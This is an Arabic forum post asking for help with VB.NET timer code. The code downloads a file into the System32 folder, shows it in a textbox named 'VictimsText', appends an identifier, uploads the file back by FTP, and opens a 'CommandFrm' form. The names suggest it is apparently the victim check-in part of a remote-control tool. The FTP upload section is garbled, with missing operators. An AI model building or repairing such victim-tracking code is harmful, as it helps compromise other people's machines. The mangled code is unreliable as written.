تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
ما الخطأ في كودي ؟؟؟؟؟؟؟؟؟
#1
السلام عليكم اخواني ...
اخواني هذا كود يقوم في الاتي ...

1- حذف ملف معين بصيغة txt
2- تحميل نفس الملف من موقع معين
3-قراءة الملف في تكست بوكس
4- فحص اذا كان التكست بوكس يحتوي على String معين انا محدده
5-رفع الملف الى نفس استضافة الموقع الذي تم التحميل منه

ملاحظة : الاستضافة والموقع خاص بي واكيد بعرف Username و Password
ولكن مشكلتي لا يعتبرها الفجول بيسك مشكلة ....
لاني اريد كتابة String المعين مرة واحدة في الملف بصيغة TXT
ولكن عندما اشغل البرنامج يقوم بكتابة String المعين باكثر من
مرة وفي سطر واحد وانا لا اريد الا ان يكتبها مرة واحدة في ملف TXT


الكود للتوضيح اكثر :

طبعا الكود في Timer :

PHP كود :
Dim sys32 As String = (Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\"
    Dim wc As WebClient = New WebClient()

        Dim mriliS As String = My.Settings.MrILIS


        MainFrm.VinfoTimer.Enabled = False

        Application.DoEvents()


        Dim DURL As String




        If My.Computer.FileSystem.FileExists(sys32 & "
\" & "Vinfo.txt") Then

            My.Computer.FileSystem.DeleteFile(sys32 & "
\" & "Vinfo.txt")
        End If





        Application.DoEvents()

        '*******************Download Vinfo.ili ************************************
        DURL = My.Settings.URL & "
/" & "Vinfo.ili"

        Application.DoEvents()


        wc.DownloadFile(DURL, sys32 + "
Vinfo.txt")



        Application.DoEvents()




        '**************************************************************************





        '*******************Read Vinfo.ili *******************************





        Dim oReaderVinfo As StreamReader


        oReaderVinfo = New StreamReader(sys32 + "
Vinfo.txt", True)
        Dim readVinfofile As String = oReaderVinfo.ReadToEnd
        VictimsText.Text = (readVinfofile)
        


        oReaderVinfo.Close()

        '*******************************************************************




        '**************Write to Vinfo.ili********************************************


        Application.DoEvents()



        If VictimsText.Text.Contains(mriliS) Then

           

       else






        Dim FILE_NAME As String = sys32 + "
Vinfo.txt"
        Dim i As Integer
        Dim aryText(4) As String

        aryText(0) = mriliS


        MsgBox(My.Settings.MrILIS)

        Dim objWriter As New System.IO.StreamWriter(FILE_NAME)

        For i = 0 To 0

            objWriter.WriteLine(aryText(i))

        Next


        objWriter.Close()






 End If



        Application.DoEvents()

        '**********************************************************************



        '********** Upload Vinfo.ili*********************************************

       Dim requestVinfo As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("
ftp:// رابط fTP للملف المراد رفعه"), System.Net.FtpWebRequest)



        
requestVinfo.Credentials = New System.Net.NetworkCredential("يوزر نيم الاستضافة الخاصة بي""باسورد الاستضافة الخاصة بي")
        
requestVinfo.Method System.Net.WebRequestMethods.Ftp.UploadFile

        Dim file
() As Byte System.IO.File.ReadAllBytes(sys32 "Vinfo.txt")

        
Dim strz As System.IO.Stream requestVinfo.GetRequestStream()

        For 
offset As Integer 0 To file.Length Step 1024

            Dim chunkSize 
As Integer file.Length offset 1
            
If chunkSize 1024 Then chunkSize 1024
            strz
.Write(fileoffsetchunkSize)
        
Next


        strz
.Write(file0file.Length)
        
strz.Close()
        
strz.Dispose()




        
'**********************************************************************************




        Application.DoEvents()

        CommandFrm.Show()


        Application.DoEvents() 
الرد
تم الشكر بواسطة:


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
Exclamation [VB.NET] أين الخطأ في مشروعي abarrak 3 106 11-02-19, 12:41 PM
آخر رد: ابراهيم ايبو
Photo اين الخطأ في الكود لو سمحتم samira20 6 223 01-12-18, 01:55 PM
آخر رد: asemshahen5
Photo اين الخطأ في الكود لو سمحتم samira20 0 117 30-11-18, 11:08 AM
آخر رد: samira20
  [سؤال] ما الخطأ في الكود التالي اسامه الهرماوي 2 164 23-11-18, 05:52 PM
آخر رد: Rabeea Qbaha
  [سؤال] ما الخطأ في هذا الكود اسامه الهرماوي 3 178 21-11-18, 02:05 AM
آخر رد: اسامه الهرماوي
  مش عارف الخطأ فين احمد خطاب 5 206 20-11-18, 01:22 AM
آخر رد: احمد خطاب
  ممكن اعرف ما هو الخطأ هنا ابو روضة 9 394 16-11-18, 04:02 AM
آخر رد: ابو روضة
  ما الخطأ في كود التعديل Update ؟ Hazem1 4 264 02-11-18, 05:23 PM
آخر رد: elgokr
  ممكن أعرف ما هو الخطأ فى هذا الباترين ابو روضة 3 202 28-10-18, 11:50 PM
آخر رد: elgokr
Sad ما هذا الخطأ !! Hosam Ashraf Elwakel 1 155 28-09-18, 02:23 AM
آخر رد: elgokr

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم